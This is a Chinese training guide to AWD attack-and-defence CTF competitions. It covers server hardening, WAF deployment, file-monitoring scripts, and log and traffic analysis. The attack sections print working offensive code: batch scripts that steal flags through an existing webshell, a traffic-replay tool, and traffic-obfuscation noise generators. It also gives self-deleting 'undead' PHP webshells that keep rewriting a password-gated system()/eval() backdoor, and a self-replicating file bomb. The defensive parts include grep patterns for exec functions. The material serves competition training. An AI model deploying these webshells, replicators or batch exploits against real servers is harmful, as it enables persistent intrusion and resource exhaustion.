要去给别人培训,所以总结了下
AWD赛制 百度百科:https://baike.baidu.com/item/AWD%E8%B5%9B%E5%88%B6/24705704
通过别人的实战理解比较好:https://err0r.top/article/2021ciscnawd/
比赛形式
比赛开始前会给每支队伍分配 SSH 账号,比赛开始用该账号登录服务器进行维护(多为 Linux 服务器)。
在服务器的某处有一个 flag 文件,默认没有权限修改,一般在根目录下。
主办方每隔一定时间,进行一轮刷新。一轮内一支队伍的 flag 只能被提交一次,flag 一旦被拿走将扣除该队的分数。
主办方会对服务进行 check,一般的判断标准就是服务是否还存在。
扣除的积分由获取 flag 的队伍均分。
一般一个队伍由三人组成。负责两个方面:一方面负责防守加固、做基线、加WAF、流量回放等等。一方面负责源码审计、写攻击脚本、维持权限、持续渗透,具体怎么安排都视三人能力而定。
AWD前期准备 用户管理 检查可登陆用户
cat /etc/passwd|grep -v nologin
修改ssh密码 因为给的ssh密码可能是弱口令或者有规律
1 2 passwd username # 输入密码确认即可
权限管理 检查crontab执行权限
/var/adm/cron/
下看cron.allow
和cron.deny
, 如果两个文件都不存在,则只有root 用户能执行crontab 命令,allow 里存放允许的用户,deny 里存放拒绝的用户,以allow 为准。
数据库 修改数据库密码及备份数据库(以 mysql 为例) 修改 mysql 密码
1 2 3 4 5 6 7 8 9 10 11 12 1. 登录 mysql 终端,运行: mysql> set password=password('new passwd'); mysql>flush privileges; 2. 修改 mysql user 表 mysql>use mysql; mysql>update user set password=password('new password') where user='root'; mysql>flush privileges; 3. 使用 GRANT 语句 mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION; mysql>flush privileges; 4. mysqladmin [root@ubuntu]# mysqladmin -u root passwd "new passwd";(注意双引号或不加)
备份指定的多个数据库
1 [root@ubuntu] # mysqldump -u root -p --databases databasesname > /tmp/db.sql
数据库恢复,在mysql终端下执行
备份/还原数据库 1 2 3 4 5 mysql -uroot -proot -e "select user,host from mysql.user;" mysqldump -uroot -proot db_name > /tmp/bak.sql mysqldump -uroot -proot --all-databases > bak.sql mysql -uroot -proot db_name < bak.sql > source bak.sql
关闭mysql远程连接 1 2 3 4 5 mysql - u root - p mysql> use mysql; mysql> update user set host = 'localhost' where user = 'root' and host= '%' ; mysql> flush privileges; mysql> exit;
源码 源码备份 1 2 3 4 # 打包目录 tar -zcvf archive_name.tar.gz directory_to_compress # 解包 tar -zxvf archive_name.tar.gz
之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码
上 WAF 注意waf可能会把check给拦了,这个时候记得把waf关了
1 2 # 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php" ;?> find /var/www/html -path /var/www/html -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'
也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
1 2 3 ; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = /tmp/waf.php
附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs
目录下生成日志文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 ); define ('LOG_FILEDIR' ,'/tmp/loooooooogs' );if (!is_dir (LOG_FILEDIR)){ mkdir (LOG_FILEDIR); } function waf ( ) { if (!function_exists ('getallheaders' )) { function getallheaders ( ) { foreach ($_SERVER as $name => $value ) { if (substr ($name , 0 , 5 ) == 'HTTP_' ) $headers [str_replace (' ' , '-' , ucwords (strtolower (str_replace ('_' , ' ' , substr ($name , 5 )))))] = $value ;} return $headers ; } } $get = $_GET ; $post = $_POST ; $cookie = $_COOKIE ; $header = getallheaders (); $files = $_FILES ; $ip = $_SERVER ["REMOTE_ADDR" ]; $method = $_SERVER ['REQUEST_METHOD' ]; $filepath = $_SERVER ["SCRIPT_NAME" ]; foreach ($_FILES as $key => $value ) { $files [$key ]['content' ] = file_get_contents ($_FILES [$key ]['tmp_name' ]); file_put_contents ($_FILES [$key ]['tmp_name' ], "virink" ); } unset ($header ['Accept' ]);$input = array ("Get" =>$get , "Post" =>$post , "Cookie" =>$cookie , "File" =>$files , "Header" =>$header );logging ($input );} function logging ($var ) { $filename = $_SERVER ['REMOTE_ADDR' ];$LOG_FILENAME = LOG_FILEDIR."/" .$filename ;$time = date ("Y-m-d G:i:s" );file_put_contents ($LOG_FILENAME , "\r\n" .$time ."\r\n" .print_r ($var , true ), FILE_APPEND); file_put_contents ($LOG_FILENAME ,"\r\n" .'http://' .$_SERVER ['HTTP_HOST' ].$_SERVER ['PHP_SELF' ].'?' .$_SERVER ['QUERY_STRING' ], FILE_APPEND);file_put_contents ($LOG_FILENAME ,"\r\n***************************************************************" ,FILE_APPEND);} waf (); ?>
生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。
一些软waf 软waf部署起来比较麻烦,而且对环境要求高,所以用来借鉴就可以了。如果合适的话可以布置。
https://github.com/admintony/Prepare-for-AWD
PHP软waf
1 https://github.com/leohearts/awd-watchbird
将waf.so、watchbird.php文件存放在/var/www/html
或其他目录中。
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行。
1 php watchbird.php --install /web
访问任意启用了waf的文件, 参数?watchbird=ui
。
如需卸载, 请在相同的位置输入:
1 php watchbird.php --uninstall [Web目录]
pcap-search
1 2 3 4 5 curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - sudo sh -c "echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list" sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common sudo apt-get update sudo apt install docker.io
1 2 3 git clone https://github.com/ss8651twtw/pcap-search.git cd pcap-search/docker./build_docker.sh
运行pcap-search后,使用指定的端口即可访问:
1 2 ./run_docker.sh [the pcap directory you want to mount] [port] [name] ./run_docker.sh /home/secc/Desktop/cap 8080 pcap-search
抓包:
1 2 socat tcp-l:9875 ,fork exec:/home/ secc/Desktop/ ciscn_2019_es_2 tcpdump -i eth1 port 9875 -w 1 .cap
打完流量后,按Ctrl+C停止抓包,并保存流量包文件。
将流量包建在二级目录下:
将我们之前运行时指定的目录看作为根目录的话,需要在根目录下再新建一个文件夹,例如项目“pwn1”。将生成的cap文件拷贝到文件夹中,项目自己会自动生存cap.ap
和cap.ap.fm
文件。再次访问网页就可以查询到包中的流量了。
1 2 3 4 5 cap └── pwn1 ├── 1.cap ├── 1.cap .ap └── 1.cap .ap .fm
可以根据流量包自动生成脚本重放(由于只是对流量的完全重放,所以如果有泄露地址,这个功能就有些鸡肋了):
AWD攻击 快速主机发现 nmap nmap -sn 192.168.0.0/24
goby+masscan goby
https://gobies.org/
可以结合goby商城下载msscan,扫的更快
根据自己主机开放的端口 简单来说,大家的主机配置都是一样的,所以主机开了什么端口,其它的目标机器也开了什么端口,直接扫相同的端口即可
代码审计 seay代码审计工具 先快速找一波,再用D盾扫
1 2 3 4 5 6 7 8 9 10 11 12 13 find . -name '*.php' | xargs grep -n 'eval(' find . -name '*.php' | xargs grep -n 'assert(' find . -name '*.php' | xargs grep -n 'system(' find . -name '*.php' | xargs grep -n 'shell_exec' find . -name '*.php' | xargs grep -n 'exec' find . -name '*.php' | xargs grep -n 'proc_open' find . -name '*.php' | xargs grep -n 'preg_replace'
然后可以用D盾扫看有没有后门
seay白盒审计,可以用全局搜索函数
审计
全局搜索
fortity 具体用法,可以扫描一些其它语言
https://blog.csdn.net/weixin_52515588/article/details/124320421
D盾扫后门 http://www.d99net.net/
有些比赛会给你留一个简单的后门,这个时候一般D盾能扫描出来
批量攻击 一些批量脚本 仅供参考,使用前请提前调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import requests,time,re,base64,sys,os,random,itertools,logging,html,jsonfrom concurrent.futures import ThreadPoolExecutorfrom optparse import OptionParserdebug = True url_flag = 'http://49.234.101.119/submit.php' url_list = ['49.234.101.119' ] * 10 url_list = ['http://{}/sdnasdhasohdaus.php?cmd=cat /flag' .format (url) for url in url_list] round_time = 3 success_string = b'success' single = False options = [] args = [] def display (info ): print ("=" *40 ,info,"=" *40 ) def tell_me_time (): return time.strftime('%H:%M:%S' ) def sleep_minute (minute ): time.sleep(minute*60 ) def sleep_second (second ): time.sleep(second) def log_info (message ): logging.basicConfig(level='INFO' , filename='flag.log' , filemode='a' ) logging.info(message) def set_option (): global options,args parser = OptionParser(usage='Usage: python %prog [options] type' ) parser.add_option('-u' ,'--url' ,type =str ,dest='url' ,default='http://127.0.0.1' ,help ='target ip' ) parser.add_option('-l' ,'--url_list' ,type =str ,dest='url_list' ,help ='target ip list' ) parser.add_option('-t' ,'--timeout' ,type =int ,dest='timeout' ,default=2 ,help ='timeout' ) parser.add_option('-n' ,'--threadnum' ,type =int ,dest='threadnum' ,default=10 ,help ='threadnum' ) parser.add_option('-p' ,'--type' ,type =str ,dest='request_type' ,default='post' ,help ='request type' ) parser.add_option('-r' ,'--round' ,type =int ,dest='round' ,default=10 ,help ='total round' ) parser.add_option('-d' ,'--debug' ,type =int ,dest='debug' ,default=0 ,help ='debug mode' ) parser.add_option('-m' ,'--max_try_time' ,type =int ,dest='max_try_time' ,default=1 ,help ='max retry time' ) (options, args) = parser.parse_args(sys.argv) parser.print_help() def exploit (url ): data = {'cmd' :'whoami' } cookies = {} headers = {} r = requests.get(url=url,data=data,cookies=cookies,headers=headers) result = re.findall("(flag{.*?})" ,r.content.decode('utf-8' )) if result is None : return '' else : return result[0 ] def submit (flag ): data = {'flag' :flag} cookies = {'session' :'123' } r = requests.post(url=url_flag,cookies=cookies) return success_string in r.content def task (url ): flag = exploit(url) print ('{} [FLAG={}] ip {}' .format (tell_me_time(),flag,url)) status = submit(flag) if status: print ('{} [OK] ip {}' .format (tell_me_time(),url)) else : print ('{} [FAILED] ip {}' .format (tell_me_time(),url)) def main (): cnt = 1 display("[URL LIST]" ) print ('\n' .join(url_list)) while True : print ('=' *40 ,'[ROUND {}]' .format (cnt),'=' *40 ) cnt += 1 if single == True : print ('[single] ...........' ) for url in url_list: task(url) else : thread_list = [] p = ThreadPoolExecutor(len (url_list)) for url in url_list: obj = p.submit(task,url) thread_list.append(obj) p.shutdown() sleep_second(20 ) if __name__ == '__main__' :main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *import requestsimport osimport timeflag = '' def subflag (flag ): io.sendlineafter('> ' ,'a="./flag"' ) io.sendlineafter('> ' ,'read(a)' ) a=io.recvuntil('> ' ) print (a) flag = re.findall(r'[0-9A-Za-z]{60}' ,a) print (flag) try : flag = flag[0 ] url = 'http://192.168.1.200/api/v1/att_def/web/submit_flag/?event_id=10' data = {"flag" :flag,"token" :"FBWQwm84r3muFs49JHcf6YxeUaARHXDK75ntt9QWGxhQY" } print (flag) res = requests.post(url=url,data=data,timeout=2 ) print (res.text) except : pass for i in range (1 ,23 ): try : io = remote('172.35.' +str (i)+'.15' ,9999 ) subflag(flag) print (flag) except : io.close()
burp的tips burp的host爆破和request插件
流量重放 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import socketimport reimport sysimport osif len (sys.argv) != 3 : print ("Usage: python repost.py [log_dir] [regex]" ) exit() dir = os.listdir(sys.argv[1 ])for i in dir : file = open (sys.argv[1 ] + '/' + i) content = file.read() host = re.findall("Host: (.*)\n" , content)[0 ].strip() if host.find(":" ) != -1 : port = host.split(":" )[1 ] host = host.split(":" )[0 ] else : port = "80" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, int (port))) sock.sendall(content) reply = sock.recv(4096 ) if len (re.findall(sys.argv[2 ], reply)): print content else : continue print "finish"
简单来说就是抓取别的队伍的exp或者check的流量直接改目标重放来进行攻击
https://github.com/Jeffz615/autoTcpReplay
https://cloud.tencent.com/developer/news/267902
https://github.com/wupco/weblogger
流量混淆 由于攻击代码可能会被别人进行流量的分析,从而自己找到的漏洞就被别人轻易获取,这个时候流量混淆就变得非常重要了。
所以拿到代码测试flag一般打NPC,或者自己的靶机,而不是直接不加密去拿别人的flag,这样有被重放的风险
一些混淆的链接
https://flag0.com/2018/09/15/AWD%E6%B5%81%E9%87%8F%E6%B7%B7%E6%B7%86/
简单的干扰脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import requestsimport randomimport iofrom urllib.parse import urlencodeimport threadingimport time import base64def ip_list (): global iplist iplist = [] for a in range (0 , 1 ): i = "182.92.91.240" iplist.append(i) def Get_catalog (): with io.open ('catalog.txt' , 'r' , encoding='UTF-8' ) as f: catalog = f.read().split('|' ) return catalog def Get_doc (): with io.open ('doc.txt' , 'r' , encoding='UTF-8' ) as f: doc = f.read().strip().split('|' ) return doc def Get_cmd (): with io.open ('cmd.txt' , 'r' , encoding='UTF-8' ) as f: cmds = f.readlines() cmds = [cmd.strip() for cmd in cmds] return cmds def Get_cookie (): with io.open ('useragent.txt' , 'r' , encoding='UTF-8' ) as f: user_agents = f.readlines() user_agents = [base64.b64encode((ua.strip()[21 :40 ]).encode()) for ua in user_agents] return user_agents def Build_url (ip,catalog,doc ): catalog = random.choice(Get_catalog()) doc = random.choice(Get_doc()) url = 'http://' + ip + '/' + catalog + '/' + doc return url def headerbuild (cookie ): with io.open ('useragent.txt' , 'r' , encoding='UTF-8' ) as f: user_agents = f.readlines() user_agents = [ua.strip() for ua in user_agents] headers= { 'User-Agent' :random.choice(user_agents), 'Cookie' : cookie, 'X-Requested-With' : 'XMLHttpRequest' , 'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8' , 'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' , 'Accept' : '*/*' , } return headers def StartRequest (method, url, data = None , cookies = None , timeout = 3 ): headers= headerbuild(cookies) if method.lower() == 'get' : url = url+ '?' + data try : request = requests.get(url=url, headers=headers, timeout=timeout) except Exception as e: pass if method.lower() == 'post' : values = dict () if data: values_list = data.strip().split('&' ) for val in values_list: values[val.split('=' )[0 ]] = val.split('=' )[1 ] data = urlencode(values) try : request = requests.post(url = url,data = data,headers = headers,proxies={"http" :"127.0.0.1:8080" }) except Exception as e: pass if __name__ == '__main__' : cmds = Get_cmd() catalog = Get_catalog() doc = Get_doc() cookies = Get_cookie() ip_list() myip = '0.0.0.0' threads=10 while 1 : for ip in iplist: if ip==myip: continue url = Build_url(ip,catalog,doc) data = random.choice(cmds) cookie = random.choice(cookies) while (threading.activeCount() > threads): time.sleep(1 ) Req_method = random.choice(['get' ,'post' ]) t1 = threading.Thread(target=StartRequest, args=(Req_method,url,data,cookie,)) t1.start()
还有一些其它的流量混淆脚本具体可以网上找找,这里就不过多介绍了。
权限维持 不死马+流量混淆 1 ignore_user_abort (true );
函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制
删除文件本身,以起到隐蔽自身的作用。 先上传下面这个dead.php
1 2 3 4 5 6 7 8 9 10 11 12 13 pass=00 O00OO00O0OOO0OO00OO000O0OO0OOO00OO0000OOOOOO0000 <?php echo 'godspeed' ; ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); $file = '.config.php' ; $code = '<?php if(md5($_GET["pass"])=="242991be1885bca41407f38a170433aa"){@system($_POST["cmd"]);}else{echo "flag{8b7aa1b23253699eb88c1f18c0469fcb}";} ?>' ; while (1 ){ file_put_contents ($file ,$code ); usleep (50 ); } ?>
uuid版本要换一下flag flag{d7ac2d98-eda9-11ea-bbcf-525400554ea8} 注意下,pass不正确我们会返回一个假flagflag{8b7aa1b23253699eb88c1f18c0469fcb} 如果别人想抄我们作业不一定看得出来噢 上传后访问dead.php 注意由于代码里会把dead.php自身删掉了,访问的时候你会发现么有响应,这就说明不死马已经写进内存 访问.config.php?pass=moresec2020 然后post一个cmd参数即可 我想了一下,为防止别人抄作业,我们可以随机pass哈哈哈哈哈哈哈哈哈 欢迎分析流量(分析其实也很简单,cat一下真实的flag,流量里对比着找pass就可以了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import random for i in range (10 ):... print ('' .join (random.sample (['O' ,'0' ] *50 ,50 ))) ... O00OO000OO000O00O000O00O0OO0O00OO0OOO00O0OOOO0000O 000 OO0000OO00000OOOO0O0OOOO00OO000OO0000OOOO00O0OOO0O0OOOOO00OO000O0O0O000OOO0OOO00OOO00000O0O00O0O0 0 O00O00OOOOOO00O000O00O00OO000O00000OOO0O00OO00O00000000 O0OOO0OOO0OO000OOOO0OO0O000OO000OOOO00OOO0000 O00O00OO0OOO0O0O0OO000OOO000000OOO0000OOOO0000O0OO000OOO0OOO000000OO0O00000OO0O000O0OO0O00O000OO0O0 OO0OO0O000OO0OO0O00OO00000000OO000O0O0O0OO0OO00O0O OOO0O0OOO000O000O000O0O00O00OO00O0000O0OOO0OO00000 0 O000000OO00O000O00OO0OO00O00O0O0O0OOO0OOOO0O00OOO
上面的不死马也很好克制,我们再写一个kill_dead.php 运行一下就好了
1 2 3 4 5 6 7 8 9 10 11 <?php ignore_user_abort (true );set_time_limit (0 );unlink (__FILE__ );$file = '.config.php' ;$code = '' ;while (1 ){file_put_contents ($file ,$code );usleep (5000 );} ?>
bash克制方式 相当于删完文件后创一个同名文件夹 不死马就没法创建了
1 2 3 4 5 #!/bin/bash directory="/var/www/html/.config.php/" file="/var/www/html/.config.php" rm -rf $file mkdir $directory
一句话 经测试最快 中木马后可以立即使用,之后再慢慢清理进程
1 rm .config.php && mkdir .config.php/
不死马不管怎么写都是有克制的办法的,核心就是循环写他,速度比攻击者快就好了,或者创一个同名文件夹占用掉filename
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php echo "ok" ; set_time_limit (0 ); ignore_user_abort (1 ); $file = '/var/www/html/.index.php' ; $pass = 'cao233' ; $content = '<?php if(md5($_POST["pass"])=="429ff12ab245018967830cd551b126d5"){@eval($_POST["cao233"]);}?>' ; unlink (__FILE__ ); while (1 ) { if (!file_exists ($file ) || md5 (file_get_contents ($file )) != md5 ($content )) file_put_contents ($file , $content ); } ?>
RSA不死马与流量混淆
https://xz.aliyun.com/t/4640#toc-1
骚操作 流量混淆 1 while true ;do curl -b "PHPSESSID=xxxx" -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)" xxxxxxxxxx/merchant/classroom/into -X POST -d "flag=xxxxxx=1&roomid=12" ;sleep 60;done ;
假flag、假curl 1 2 3 4 alias curl='echo flag{e4248e83e4ca862303053f2908a7020d}' chmod -x /usr/bin/curl alias cat='python -c "__import__(\" sys\" ).stdout.write(\" flag{%s}\\ n\" % (__import__(\" hashlib\" ).md5(\" \" .join([__import__(\" random\" ).choice(__import__(\" string\" ).letters) for i in range(0x10)])).hexdigest()))" '
内存炸弹 1 2 3 4 5 6 7 8 9 <?php set_time_limit (0 ); ignore_user_abort (1 ); while (1 ) { $file = mt_rand (0 ,time ()*time ()).'.php' ; file_put_contents ($file , file_get_contents (__FILE__ )); file_get_contents ("http://127.0.0.1/$file " ); } ?>
AWD防守 文件监控 命令find进行文件监控 寻找最近20分钟修改的文件
1 find /var/ www/html -name *.php -mmin -20
Shell监控新增文件 创建文件的时候更改文件创建时间熟悉可能监测不到。
1 2 3 4 5 6 # !/bin/bash while true do find /var/www/html -cmin -60 -type f | xargs rm -rf sleep 1 done
循环监听一小时以内更改过的文件或新增的文件,进行删除。
Python检测新增文件 放在 /var/www/
或 /var/www/html
下执行这个脚本,它会先备份当然目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 import osimport hashlibimport shutilimport ntpathimport timeCWD = os.getcwd() FILE_MD5_DICT = {} ORIGIN_FILE_LIST = [] Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), } def isListLike (value ): return isinstance (value, (list , tuple , set )) def getUnicode (value, encoding=None , noneToNull=False ): if noneToNull and value is None : return NULL if isListLike(value): value = list (getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance (value, unicode): return value elif isinstance (value, basestring): while True : try : return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try : return unicode(value, UNICODE_ENCODING) except : value = value[:ex.start] + "" .join(INVALID_UNICODE_CHAR_FORMAT % ord (_) for _ in value[ex.start:ex.end]) + value[ex.end:] else : try : return unicode(value) except UnicodeDecodeError: return unicode(str (value), errors="ignore" ) def mkdir_p (path ): import errno try : os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else : raise def getfilelist (cwd ): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist def calcMD5 (filepath ): try : with open (filepath,'rb' ) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try : ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None ) except KeyError, e: pass def getfilemd5dict (filelist = [] ): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict def backup_file (filelist=[] ): for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak' ]) if __name__ == '__main__' : print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) print u'[*] pre work end!' while True : file_list = getfilelist(CWD) diff_file_list = list (set (file_list) ^ set (ORIGIN_FILE_LIST)) if len (diff_file_list) != 0 : for filepath in diff_file_list: try : f = open (filepath, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell' ], ntpath.basename(filepath) + '.txt' )) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filepath) try : f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('newfile: ' + getUnicode(filepath) + ' : ' + str (time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try : f = open (filekey, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile' ], ntpath.basename(filekey) + '.txt' )) shutil.move(os.path.join(Special_path['bak' ], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filekey) try : f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2 )
目录监控 watcher.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import os,timefrom pyinotify import WatchManager, Notifier, ProcessEvent, IN_DELETE, IN_CREATE, IN_MODIFY,IN_ACCESSdef tell_me_time (): return time.strftime('%H:%M:%S' ) class EventHandler (ProcessEvent ): def process_IN_CREATE (self, event ): print ("[{}] Create file:{}." .format (tell_me_time(),os.path.join(event.path,event.name))) def process_IN_DELETE (self, event ): print ("[{}] Delete file:{}." .format (tell_me_time(),os.path.join(event.path,event.name))) def process_IN_MODIFY (self, event ): print ("[{}] Modify file:{}." .format (tell_me_time(),os.path.join(event.path,event.name))) def process_IN_ACCESS (self, event ): print ("[{}] Access file:{}." .format (tell_me_time(),os.path.join(event.path,event.name))) def FsMonitor (path='.' ): wm = WatchManager() mask = IN_DELETE | IN_CREATE | IN_MODIFY | IN_ACCESS notifier = Notifier(wm, EventHandler()) wm.add_watch(path, mask, auto_add= True , rec=True ) print ("now starting monitor %s." %path) while True : try : notifier.process_events() if notifier.check_events(): print ("check event true." ) notifier.read_events() except KeyboardInterrupt: print ("keyboard Interrupt." ) notifier.stop() break if __name__ == "__main__" : FsMonitor("/var/www/html/" )
监控1分钟内被修改的文件并删除
删除一分钟内含命令执行的文件,有询问,后面那个无询问 强制删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/bash while true do file=$(find /var/www/html/ -cmin -1 -type f -name "*.php" | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec' ) DATE=`date '+%Y-%m-%d %H:%M' `; echo $DATE ; echo $file ; read -r -p "是否删除[y/n]?" confirm case $confirm in [yY][eE][sS]|[yY]) echo $file | xargs rm echo "delete success" ;; [nN][oO]|[nN]) echo "No" ;; *) echo "Invalid input..." exit 1 ;; esac sleep 5 done
1 2 3 4 5 6 7 8 9 #!/bin/bash while true do file=$(find /var/www/html/ -cmin -1 -type f -name "*.php" | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec' ) DATE=`date '+%Y-%m-%d %H:%M' `; echo $DATE ; echo $file | xargs rm ; sleep 5 done
日志分析 监测payload tail -f *.log
,看日志,不言而喻,抓他们的payload并利用。
中间件日志 ⽐如apache,nginx 查看当前访问量前⼗的链接
1 cat /var/log/apache2/access.log |awk '{print $7}' |sort |uniq -c| sort -r|head
介绍一款日志记录脚本
https://github.com/zhuxianjin/AWD_Hunter
流量分析 流量分析有机会捕获他人的exp
tcpdump+wireshark sudo tcpdump -s 0 -w flow.pcap port 80
放到wireshark分析流量
一个分析流量包的工具 https://github.com/MaskRay/pcap-search
修补漏洞 简单来说就是学学怎么防御的,怎么去把漏洞不好,如果实在不太会,赛前就把别人写的通用waf看一遍,写一遍,差不多就懂大概了,最好还是能够自己修出来,waf可能会check不了。
AWD plus AWD plus是AWD的升级版,给我的感觉就是不注重攻防对抗了,而是开始注重于解题。每一轮的攻击由赛事方来提供,选手只需要会修补漏洞并上传修补文件和命令和会解题就行了。
总结 简单来说AWD线下是没有外网的,所以需要的丰富的知识储备,如果没有丰富的知识储备那就多写笔记,比如sql注入的常用姿势?杀死进程的命令?nodejs写的网站怎么运维?文件上传的一些木马有没有准备?还有就是上面所说的脚本本地复现没有?会不会去了赛场跑不起来?
总结:多做笔记,多实战!讲了很多相关东西,但适合自己的才是最好的,本地能打能用的才是有用的。
一些可以学习参考的链接 bugku AWD在线打
https://ctf.bugku.com/awd.html
下面这些也要去看,主要是 能够在自己的环境里面复现出来,不要比赛了才去写脚本
http://blog.polowong.top/2021/02/25/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8AAWD/
https://www.anquanke.com/post/id/245158#h3-25
https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8
https://www.anquanke.com/post/id/98574#h2-4
